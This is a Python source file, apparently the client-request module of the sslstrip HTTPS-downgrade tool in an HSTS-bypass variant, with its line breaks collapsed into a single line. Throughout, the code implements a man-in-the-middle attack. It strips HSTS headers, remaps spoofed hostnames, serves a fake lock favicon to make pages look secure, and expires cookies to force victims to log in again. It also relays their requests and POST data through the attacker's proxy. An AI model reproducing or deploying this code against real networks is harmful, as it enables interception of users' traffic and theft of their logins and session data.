# Copyright (c) 2004-2009 Moxie Marlinspike # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA # import urlparse, logging, os, sys, random, re from twisted.web.http import Request from twisted.web.http import HTTPChannel from twisted.web.http import HTTPClient from twisted.internet import ssl from twisted.internet import defer from twisted.internet import reactor from twisted.internet.protocol import ClientFactory from ServerConnectionFactory import ServerConnectionFactory from ServerConnectionHSTS import ServerConnection from SSLServerConnectionHSTS import SSLServerConnection from URLMonitorHSTS import URLMonitor from CookieCleaner import CookieCleaner from DnsCache import DnsCache class ClientRequest(Request): ''' This class represents incoming client requests and is essentially where the magic begins. Here we remove the client headers we dont like, and then respond with either favicon spoofing, session denial, or proxy through HTTP or SSL to the server. ''' def __init__(self, channel, queued, reactor=reactor): Request.__init__(self, channel, queued) self.reactor = reactor self.urlMonitor = URLMonitor.getInstance() self.cookieCleaner = CookieCleaner.getInstance() self.dnsCache = DnsCache.getInstance() # self.uniqueId = random.randint(0, 10000) def cleanHeaders(self): headers = self.getAllHeaders().copy() if 'accept-encoding' in headers: del headers['accept-encoding'] if 'referer' in headers: real = self.urlMonitor.real if len(real) > 0: dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) if 'if-modified-since' in headers: del headers['if-modified-since'] if 'strict-transport-security' in headers: #kill new hsts requests del headers['strict-transport-security'] logging.info("Zapped HSTS header") if 'cache-control' in headers: del headers['cache-control'] if 'if-none-match' in headers: del headers['if-none-match'] if 'host' in headers: host = self.urlMonitor.URLgetRealHost("%s" % headers['host']) logging.debug("Modifing HOST header: %s -> %s" % (headers['host'],host)) headers['host'] = host headers['securelink'] = '1' self.setHeader('Host',host) return headers def getPathFromUri(self): if (self.uri.find("http://") == 0): index = self.uri.find('/', 7) return self.uri[index:] return self.uri def getPathToLockIcon(self): if os.path.exists("lock.ico"): return "lock.ico" scriptPath = os.path.abspath(os.path.dirname(sys.argv[0])) scriptPath = os.path.join(scriptPath, "../share/sslstrip/lock.ico") if os.path.exists(scriptPath): return scriptPath logging.warning("Error: Could not find lock.ico") return "lock.ico" def handleHostResolvedSuccess(self, address): headers = self.cleanHeaders() # for header in headers: # logging.debug("HEADER %s = %s",header,headers[header]) logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host').lower(), address)) lhost = self.getHeader("host").lower() host = self.urlMonitor.URLgetRealHost("%s" % lhost) client = self.getClientIP() path = self.getPathFromUri() self.content.seek(0, 0) postData = self.content.read() real = self.urlMonitor.real patchDict = self.urlMonitor.patchDict if len(real) > 0: dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) path = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), path) postData = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), postData) if len(patchDict)>0: dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData) url = 'http://' + host + path headers['content-length'] = "%d" % len(postData) self.dnsCache.cacheResolution(host, address) if (not self.cookieCleaner.isClean(self.method, client, host, headers)): logging.debug("Sending expired cookies...") self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) elif (self.urlMonitor.isSecureFavicon(client, path)): logging.debug("Sending spoofed favicon response...") self.sendSpoofedFaviconResponse() elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): if 'securelink' in headers: del headers['securelink'] logging.debug("LEO Sending request via SSL...(%s %s)"%(client,url)) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) else: logging.debug("LEO Sending request via HTTP...") self.proxyViaHTTP(address, self.method, path, postData, headers) def handleHostResolvedError(self, error): logging.warning("Host resolution error: " + str(error)) try: self.finish() except: pass def resolveHost(self, host): address = self.dnsCache.getCachedAddress(host) if address != None: logging.debug("Host cached.") return defer.succeed(address) else: logging.debug("Host not cached.") return reactor.resolve(host) def process(self): host = self.urlMonitor.URLgetRealHost("%s"%self.getHeader('host')) logging.debug("Resolving host: %s" % host) deferred = self.resolveHost(host) deferred.addCallback(self.handleHostResolvedSuccess) deferred.addErrback(self.handleHostResolvedError) def proxyViaHTTP(self, host, method, path, postData, headers): connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) connectionFactory.protocol = ServerConnection self.reactor.connectTCP(host, 80, connectionFactory) def proxyViaSSL(self, host, method, path, postData, headers, port): clientContextFactory = ssl.ClientContextFactory() connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) connectionFactory.protocol = SSLServerConnection self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) def sendExpiredCookies(self, host, path, expireHeaders): self.setResponseCode(302, "Moved") self.setHeader("Connection", "close") self.setHeader("Location", "http://" + host + path) for header in expireHeaders: self.setHeader("Set-Cookie", header) self.finish() def sendSpoofedFaviconResponse(self): icoFile = open(self.getPathToLockIcon()) self.setResponseCode(200, "OK") self.setHeader("Content-type", "image/x-icon") self.write(icoFile.read()) icoFile.close() self.finish()